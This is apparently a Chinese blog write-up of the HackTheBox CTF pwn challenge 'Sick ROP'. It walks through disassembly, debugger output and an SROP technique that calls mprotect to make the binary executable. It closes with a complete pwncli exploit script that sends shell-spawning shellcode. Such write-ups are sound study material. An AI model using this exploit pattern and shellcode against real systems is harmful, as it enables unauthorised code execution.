selph
selph
Published on 2024-10-26 / 44 Visits
0
0

每日一练3:[HTB]Sick ROP

前言

该题目是 SROP 技巧的使用

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第3天,今天偷懒了,找了个简单的题查缺补漏了一波

题目情况

You might need some syscalls.

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

逆向分析

整个程序就这么大,全是系统调用:

.text:0000000000401000 ; __int64 __fastcall read(int, int, int, int, int, int, char *buf, size_t count)
.text:0000000000401000 read            proc near               ; CODE XREF: vuln+12↓p
.text:0000000000401000                                         ; DATA XREF: LOAD:0000000000400088↑o
.text:0000000000401000
.text:0000000000401000 buf             = qword ptr  8
.text:0000000000401000 count           = qword ptr  10h
.text:0000000000401000
.text:0000000000401000                 mov     eax, 0
.text:0000000000401005                 mov     edi, 0          ; fd
.text:000000000040100A                 mov     rsi, [rsp+buf]  ; buf
.text:000000000040100F                 mov     rdx, [rsp+count] ; count
.text:0000000000401014                 syscall                 ; LINUX - sys_read
.text:0000000000401016                 retn
.text:0000000000401016 read            endp
.text:0000000000401016
.text:0000000000401017
.text:0000000000401017 ; =============== S U B R O U T I N E =======================================
.text:0000000000401017
.text:0000000000401017
.text:0000000000401017 ; __int64 __fastcall write(int, int, int, int, int, int, const char *buf, size_t count)
.text:0000000000401017 write           proc near               ; CODE XREF: vuln+1A↓p
.text:0000000000401017
.text:0000000000401017 buf             = qword ptr  8
.text:0000000000401017 count           = qword ptr  10h
.text:0000000000401017
.text:0000000000401017                 mov     eax, 1
.text:000000000040101C                 mov     edi, 1          ; fd
.text:0000000000401021                 mov     rsi, [rsp+buf]  ; buf
.text:0000000000401026                 mov     rdx, [rsp+count] ; count
.text:000000000040102B                 syscall                 ; LINUX - sys_write
.text:000000000040102D                 retn
.text:000000000040102D write           endp
.text:000000000040102D
.text:000000000040102E
.text:000000000040102E ; =============== S U B R O U T I N E =======================================
.text:000000000040102E
.text:000000000040102E ; Attributes: bp-based frame
.text:000000000040102E
.text:000000000040102E ; __int64 __fastcall vuln(int, int, int, int, int, int)
.text:000000000040102E vuln            proc near               ; CODE XREF: _start↓p
.text:000000000040102E
.text:000000000040102E anonymous_0     = byte ptr -20h
.text:000000000040102E
.text:000000000040102E                 push    rbp
.text:000000000040102F                 mov     rbp, rsp
.text:0000000000401032                 sub     rsp, 20h
.text:0000000000401036                 mov     r10, rsp
.text:0000000000401039                 push    300h            ; count
.text:000000000040103E                 push    r10             ; buf
.text:0000000000401040                 call    read
.text:0000000000401045                 push    rax             ; count
.text:0000000000401046                 push    r10             ; buf
.text:0000000000401048                 call    write
.text:000000000040104D                 leave
.text:000000000040104E                 retn
.text:000000000040104E vuln            endp
.text:000000000040104E
.text:000000000040104F
.text:000000000040104F ; =============== S U B R O U T I N E =======================================
.text:000000000040104F
.text:000000000040104F ; Attributes: noreturn
.text:000000000040104F
.text:000000000040104F ; void __fastcall __noreturn start(int, int, int, int, int, int)
.text:000000000040104F                 public _start
.text:000000000040104F _start          proc near               ; CODE XREF: _start+5↓j
.text:000000000040104F                                         ; DATA XREF: LOAD:0000000000400018↑o
.text:000000000040104F                 call    vuln
.text:0000000000401054                 jmp     short _start
.text:0000000000401054 _start          endp
.text:0000000000401054
.text:0000000000401054 _text           ends
.text:0000000000401054
.text:0000000000401054
.text:0000000000401054                 end _start

经典栈溢出漏洞

利用分析

当前情况分析

  • 没有pie,程序地址已知
  • 没有canary + 栈溢出漏洞,可以覆盖返回地址
  • 无 gadgets,难以 rop
  • 存在syscall,疑似可以打 SROP

SROP 分析

打 SROP 的前提是能控制rax,以及能调用syscall

程序在vuln退出的时候的状态:

──────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────
*RAX  0x131
 RBX  0x0
*RCX  0x40102d (write+22) ◂— ret
*RDX  0x131
*RDI  0x1
 RSI  0x7fffa07e5bb0 ◂— 0x6161616261616161 ('aaaabaaa')
 R8   0x0
 R9   0x0
 R10  0x7fffa07e5bb0 ◂— 0x6161616261616161 ('aaaabaaa')
 R11  0x202
 R12  0x0
 R13  0x0
 R14  0x0
 R15  0x0
*RBP  0x6161616a61616169 ('iaaajaaa')
*RSP  0x7fffa07e5bd8 —▸ 0x40102e (vuln) ◂— push rbp
*RIP  0x40104e (vuln+32) ◂— ret
───────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
 ► 0x40104e <vuln+32>    ret                                  <0x40102e; vuln>
    ↓
   0x40102e <vuln>       push   rbp
   0x40102f <vuln+1>     mov    rbp, rsp
   0x401032 <vuln+4>     sub    rsp, 0x20
   0x401036 <vuln+8>     mov    r10, rsp
   0x401039 <vuln+11>    push   0x300
   0x40103e <vuln+16>    push   r10
   0x401040 <vuln+18>    call   read                      <read>

   0x401045 <vuln+23>    push   rax
   0x401046 <vuln+24>    push   r10
   0x401048 <vuln+26>    call   write                      <write>
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffa07e5bd8 —▸ 0x40102e (vuln) ◂— push rbp
01:0008│     0x7fffa07e5be0 —▸ 0x40102b (write+20) ◂— syscall
02:0010│     0x7fffa07e5be8 ◂— 0x0
03:0018│     0x7fffa07e5bf0 ◂— 0x0
04:0020│     0x7fffa07e5bf8 ◂— 0x0
05:0028│     0x7fffa07e5c00 ◂— 0x0
06:0030│     0x7fffa07e5c08 ◂— 0x0
07:0038│     0x7fffa07e5c10 ◂— 0x0

此处的rax是我的输入字符串长度,rax可控,程序中存在syscall可以用,可以打 SROP

我本来想通过SROP直接调用execve的系统调用,但是发现,没有办法在程序中写入/bin/sh的字符串,程序的内存布局是这样的:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x401000 r--p     1000      0 /mnt/d/Misc/CTF/HTB/pwn/Sick ROP/sick_rop
          0x401000           0x402000 r-xp     1000   1000 /mnt/d/Misc/CTF/HTB/pwn/Sick ROP/sick_rop
    0x7fffa07c6000     0x7fffa07e8000 rw-p    22000      0 [stack]
    0x7fffa07f4000     0x7fffa07f8000 r--p     4000      0 [vvar]
    0x7fffa07f8000     0x7fffa07fa000 r-xp     2000      0 [vdso]

没有已知的可写地址存在,所以得换个系统调用来用,查阅资料得知当前状态可以使用mprocect来辅助,将整个程序改成rwx权限

那么执行srop的操作,还需要设置一个rsp,rsp影响执行完系统调用后返回的地方

我希望可以返回到程序中,再次调用vuln是最好的

在ida里看到一个地址,保存可以调用到vuln的指针:0000000000400018

LOAD:0000000000400000 7F 45 4C 46                   dword_400000    dd 464C457Fh            ; DATA XREF: LOAD:0000000000400050↓o
LOAD:0000000000400000                                                                       ; File format: \x7FELF
LOAD:0000000000400004 02                                            db 2                    ; File class: 64-bit
LOAD:0000000000400005 01                                            db 1                    ; Data encoding: little-endian
LOAD:0000000000400006 01                                            db 1                    ; File version
LOAD:0000000000400007 00                                            db 0                    ; OS/ABI: UNIX System V ABI
LOAD:0000000000400008 00                                            db 0                    ; ABI Version
LOAD:0000000000400009 00 00 00 00 00 00 00                          db 7 dup(0)             ; Padding
LOAD:0000000000400010 02 00                                         dw 2                    ; File type: Executable
LOAD:0000000000400012 3E 00                                         dw 3Eh                  ; Machine: x86-64
LOAD:0000000000400014 01 00 00 00                                   dd 1                    ; File version
LOAD:0000000000400018 4F 10 40 00 00 00 00 00                       dq offset _start        ; Entry point
LOAD:0000000000400020 40 00 00 00 00 00 00 00                       dq 40h                  ; PHT file offset
LOAD:0000000000400028 A0 11 00 00 00 00 00 00                       dq 11A0h                ; SHT file offset
LOAD:0000000000400030 00 00 00 00                                   dd 0                    ; Processor-specific flags
LOAD:0000000000400034 40 00                                         dw 40h                  ; ELF header size
LOAD:0000000000400036 38 00                                         dw 38h                  ; PHT entry size
LOAD:0000000000400038 03 00                                         dw 3                    ; Number of entries in PHT

但是在调用vuln的时候,会使用rsp-0x20的地址,这里会发生地址访问违例,一筹莫展之际,gdb看看ida里看不到的内存地址的情况:

pwndbg> x/100gxa 0x401000
0x401000 <read>:        0xbf00000000b8  0x480824748b480000
0x401010 <read+16>:     0xb8c3050f1024548b      0x1bf00000001
0x401020 <write+9>:     0x8b480824748b4800      0x4855c3050f102454
0x401030 <vuln+2>:      0x894920ec8348e589      0x52410000030068e2
0x401040 <vuln+18>:     0x524150ffffffbbe8      0xe8c3c9ffffffcae8
0x401050 <_start+1>:    0xf9ebffffffda  0x0
0x401060:       0x0     0x0
0x401070:       0x1000300000000 0x401000 <read>
0x401080:       0x0     0xfff1000400000001
0x401090:       0x0     0x0
0x4010a0:       0x1000000000009 0x401000 <read>
0x4010b0:       0x0     0x100000000000e
0x4010c0:       0x401017 <write>        0x0
0x4010d0:       0x1000000000014 0x40102e <vuln>
0x4010e0:       0x0     0x100100000001e
0x4010f0:       0x40104f <_start>       0x0

发现在0x4010d8处保存了vuln的地址,好,就用这里当新的rsp

程序通过SROP来执行mprotect,然后返回到vuln上,再次触发栈溢出,然后此时写入数据的地址是固定不变的了,只需要写个shellcode上去,然后跳转即可

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

shellcode = b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"

frame = SigreturnFrame()
frame.rax = 0xA         # mprotect
frame.rdi = 0x400000    # start
frame.rsi = 0x2000      # len
frame.rdx = 7           # rwx 
frame.rip = 0x40102b    # syscall instruction
frame.rsp = 0x4010d8    # ret to address

vuln = 0x40102E
payload = cyclic(0x28) + pack(vuln) + pack(0x40102b)+ bytes(frame)
sl(payload)

sl(cyclic(0xe))

sl(shellcode.ljust(0x28,b"\x90") + pack(0x4010b8))

ia()

总结

这个题目我知道要用SROP打,一直在考虑如何泄露出栈地址然后写入字符串,再打SROP调用execve,实际上想的太狭隘了,遇到SROP的场合,要考虑多种syscall的可能性,就像这次的mprotect

SROP的条件是栈溢出+rax可控+可以调用syscall

参考资料


Comment